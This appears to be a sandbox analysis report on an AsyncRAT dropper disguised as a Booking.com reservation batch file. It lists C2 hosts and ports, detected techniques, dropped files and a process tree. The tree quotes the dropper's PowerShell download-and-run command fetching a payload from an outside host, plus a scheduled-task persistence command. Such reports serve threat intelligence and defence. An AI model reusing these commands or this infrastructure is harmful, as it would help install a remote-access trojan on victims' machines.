Analysis

  • max time kernel
    144s
  • max time network
    149s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20241007-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20241007-enlocale:en-usos:windows10-2004-x64system
  • submitted
    03/11/2024, 03:38

General

  • Target
    Reservation Detail Booking.com ID.bat
  • Size 935B
  • Sample241103-d7d7aathjp
  • SHA256 10b20d5ab63333029b484bf4fc528e6cd4dc755c99c31c24054d63f9e3447c1c
  • MD5 SHA1 SHA512

Malware Config

Extracted

Family
  • asyncrat

Version
  • AWS | 3Losh

Botnet
  • FOCO-WINPAX

C2
  • cdt2023.ddns.net:6606

  • cdt2023.ddns.net:7707

  • cdt2023.ddns.net:8808

  • cdt2023.ddns.net:3313

  • cdt2023.ddns.net:3314

  • cdt2023.ddns.net:9441

  • cdt2023.ddns.net:9442

  • cdt2023.ddns.net:9443

  • cdt2023.ddns.net:2900

  • cdt2023.ddns.net:1018

  • cdt2023.ddns.net:2019

  • cdt2023.ddns.net:2020

  • cdt2023.ddns.net:2021

  • cdt2023.ddns.net:5155

  • cdt2023.ddns.net:6666

  • cdt2023.ddns.net:9999

  • cdt2023.ddns.net:5505

  • chromedata.accesscam.org:6606

  • chromedata.accesscam.org:7707

  • chromedata.accesscam.org:8808

Mutex
  • AsyncMutex_6SI8OkPnk

Attributes
  • delay

    3

  • install

    false

  • install_file

    svchost.exe

  • install_folder

    %AppData%

aes.plain

Signatures

  • AsyncRat

    AsyncRAT is designed to remotely monitor and control other computers written in C#.

  • Asyncrat family
  • Blocklisted process makes network request 1 IoCs
  • Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

    Powershell Invoke Web Request.

  • Drops file in System32 directory 1 IoCs
  • Suspicious use of SetThreadContext 7 IoCs
  • Drops file in Windows directory 1 IoCs
  • System Location Discovery: System Language Discovery 1 TTPs 11 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

  • Checks processor information in registry 2 TTPs 12 IoCs

    Processor information is often read in order to detect sandboxing environments.

  • Enumerates system info in registry 2 TTPs 8 IoCs
  • Scheduled Task/Job: Scheduled Task 1 TTPs 1 IoCs

    Schtasks is often used by malware for persistence or to perform post-infection execution.

  • Suspicious behavior: EnumeratesProcesses 8 IoCs
  • Suspicious use of AdjustPrivilegeToken 27 IoCs
  • Suspicious use of WriteProcessMemory 64 IoCs
  • Uses Task Scheduler COM API 1 TTPs

    The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.

Processes

  • C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\Reservation Detail Booking.com ID.bat"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:2760
    • C:\Windows\system32\schtasks.exe
      schtasks /create /tn "Octanagem" /tr "cmd /c start /min PowerShell -ex Bypass C:\Users\Public\American.ps1" /SC HOURLY /mo 6 /f
      2⤵
      • Scheduled Task/Job: Scheduled Task
      PID:3176
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -Command "Invoke-WebRequest -Uri 'https://hoteltoscanaplaza.com.co/cgi-bin/Atendimento.pdf' -OutFile 'C:\Users\Public\American.ps1'"
      2⤵
      • Blocklisted process makes network request
      • Command and Scripting Interpreter: PowerShell
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:5064
    • C:\Windows\system32\schtasks.exe
      schtasks /run /tn "Octanagem"
      2⤵
        PID:1852
      • C:\Windows\system32\cmd.exe
        cmd /c start /min PowerShell -ex Bypass C:\Users\Public\American.ps1
        2⤵
        • Suspicious use of WriteProcessMemory
        PID:3532
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          PowerShell -ex Bypass C:\Users\Public\American.ps1
          3⤵
          • Suspicious use of SetThreadContext
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          • Suspicious use of WriteProcessMemory
          PID:4288
          • C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regbrowsers.exe
            "C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regbrowsers.exe"
            4⤵
            • System Location Discovery: System Language Discovery
            PID:3584
          • C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regbrowsers.exe
            "C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regbrowsers.exe"
            4⤵
            • System Location Discovery: System Language Discovery
            • Suspicious use of AdjustPrivilegeToken
            PID:2900
          • C:\Windows\Microsoft.NET\Framework\v2.0.50727\RegSvcs.exe
            "C:\Windows\Microsoft.NET\Framework\v2.0.50727\RegSvcs.exe"
            4⤵
            • System Location Discovery: System Language Discovery
            PID:2808
            • C:\Windows\Microsoft.NET\Framework\v2.0.50727\dw20.exe
              dw20.exe -x -s 768
              5⤵
              • System Location Discovery: System Language Discovery
              • Checks processor information in registry
              • Enumerates system info in registry
              • Suspicious use of AdjustPrivilegeToken
              PID:3296
          • C:\Windows\Microsoft.NET\Framework\v2.0.50727\RegSvcs.exe
            "C:\Windows\Microsoft.NET\Framework\v2.0.50727\RegSvcs.exe"
            4⤵
            • System Location Discovery: System Language Discovery
            • Suspicious use of WriteProcessMemory
            PID:3856
            • C:\Windows\Microsoft.NET\Framework\v2.0.50727\dw20.exe
              dw20.exe -x -s 768
              5⤵
              • System Location Discovery: System Language Discovery
              • Checks processor information in registry
              • Enumerates system info in registry
              • Suspicious use of AdjustPrivilegeToken
              PID:2340
          • C:\Windows\Microsoft.NET\Framework\v3.5\Msbuild.exe
            "C:\Windows\Microsoft.NET\Framework\v3.5\Msbuild.exe"
            4⤵
            • System Location Discovery: System Language Discovery
            • Suspicious use of WriteProcessMemory
            PID:3104
            • C:\Windows\Microsoft.NET\Framework\v2.0.50727\dw20.exe
              dw20.exe -x -s 772
              5⤵
              • System Location Discovery: System Language Discovery
              • Checks processor information in registry
              • Enumerates system info in registry
              • Suspicious use of AdjustPrivilegeToken
              PID:5012
          • C:\Windows\Microsoft.NET\Framework\v3.5\Msbuild.exe
            "C:\Windows\Microsoft.NET\Framework\v3.5\Msbuild.exe"
            4⤵
            • System Location Discovery: System Language Discovery
            PID:3888
            • C:\Windows\Microsoft.NET\Framework\v2.0.50727\dw20.exe
              dw20.exe -x -s 772
              5⤵
              • Drops file in Windows directory
              • System Location Discovery: System Language Discovery
              • Checks processor information in registry
              • Enumerates system info in registry
              • Suspicious use of AdjustPrivilegeToken
              PID:4624
    • C:\Windows\system32\cmd.EXE
      C:\Windows\system32\cmd.EXE /c start /min PowerShell -ex Bypass C:\Users\Public\American.ps1
      1⤵
      • Suspicious use of WriteProcessMemory
      PID:3836
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        PowerShell -ex Bypass C:\Users\Public\American.ps1
        2⤵
        • Drops file in System32 directory
        • Suspicious use of SetThreadContext
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:1820
        • C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regbrowsers.exe
          "C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regbrowsers.exe"
          3⤵
          • System Location Discovery: System Language Discovery
          PID:2672

    Network

          MITRE ATT&CK Enterprise v15

          Replay Monitor

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          Downloads

          WERC1DA.tmp.xml

          • Path C:\ProgramData\Microsoft\Windows\WER\Temp\WERC1DA.tmp.xml
          • Size 4KB
          • SHA256 c81190fe6d765c4b8299d20ecdb87fdf0ee93cfef0599a0a1c8b9d49945d05c6
          • MD5 SHA1 SHA512 SSDEEP

          powershell.exe.log

          • Path C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log
          • Size 2KB
          • SHA256 3b0068d29ae4b20c447227fbf410aa2deedfef6220ccc3f698f3c7707c032c55
          • MD5 SHA1 SHA512

          aspnet_regbrowsers.exe.log

          • Path C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\aspnet_regbrowsers.exe.log
          • Size 425B
          • SHA256 34ba0ab8d1850e7825763f413142a333ccbc05fa2b5499a28a7d27b8a1c5b4bb
          • MD5 SHA1 SHA512

          StartupProfileData-NonInteractive

          • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
          • Size 1KB
          • SHA256 fa05674c1db3386cf01ba1db5a3e9aeb97e15d1720d82988f573bf9743adc073
          • MD5 SHA1 SHA512

          StartupProfileData-NonInteractive

          • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
          • Size 1KB
          • SHA256 010430a83f5f1bbd71687b20e9055bbdf643c4c4c5d2b9a5d18098a751750a0b
          • MD5 SHA1 SHA512

          __PSScriptPolicyTest_dteyktee.yvf.ps1

          • Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_dteyktee.yvf.ps1
          • Size 60B
          • SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
          • MD5 SHA1 SHA512

          590aee7bdd69b59b.customDestinations-ms

          • Path C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-ms
          • Size 6KB
          • SHA256 d889f216c9815dc6ea15106211df6026ecbb087205723cd1ffb7a61a67399ace
          • MD5 SHA1 SHA512 SSDEEP

          590aee7bdd69b59b.customDestinations-ms

          • Path C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-ms
          • Size 6KB
          • SHA256 cc06974b2c6cb326abc6fbe04e6bc4f7b793ce011269fa1f8e04fe765c438168
          • MD5 SHA1 SHA512 SSDEEP

          American.ps1

          • Path C:\Users\Public\American.ps1
          • Size 446KB
          • SHA256 9bdc43df16cff6db219f2d3dd4a1e4b650262e73f98d2264926b90664942c187
          • MD5 SHA1 SHA512 SSDEEP

          memory/2900-59-0x00000000007A0000-0x00000000007B6000-memory.dmp

          memory/2900-93-0x00000000056C0000-0x0000000005726000-memory.dmp

          memory/2900-92-0x0000000005C00000-0x00000000061A4000-memory.dmp

          memory/2900-91-0x00000000053A0000-0x000000000543C000-memory.dmp

          memory/3584-52-0x0000000000400000-0x0000000000416000-memory.dmp

          memory/4288-51-0x00000232EEE90000-0x00000232EEE98000-memory.dmp

          memory/4288-50-0x00000232EEE80000-0x00000232EEE88000-memory.dmp

          memory/4288-49-0x00000232EEE70000-0x00000232EEE78000-memory.dmp

          memory/4288-48-0x00000232EEE40000-0x00000232EEE4A000-memory.dmp

          memory/4288-47-0x00000232EEE50000-0x00000232EEE6A000-memory.dmp

          memory/4288-46-0x00000232EC560000-0x00000232EC56E000-memory.dmp

          memory/5064-16-0x00007FF878A30000-0x00007FF8794F1000-memory.dmp

          memory/5064-0-0x00007FF878A33000-0x00007FF878A35000-memory.dmp

          memory/5064-12-0x00007FF878A30000-0x00007FF8794F1000-memory.dmp

          memory/5064-11-0x00007FF878A30000-0x00007FF8794F1000-memory.dmp

          memory/5064-10-0x000001C831C30000-0x000001C831C52000-memory.dmp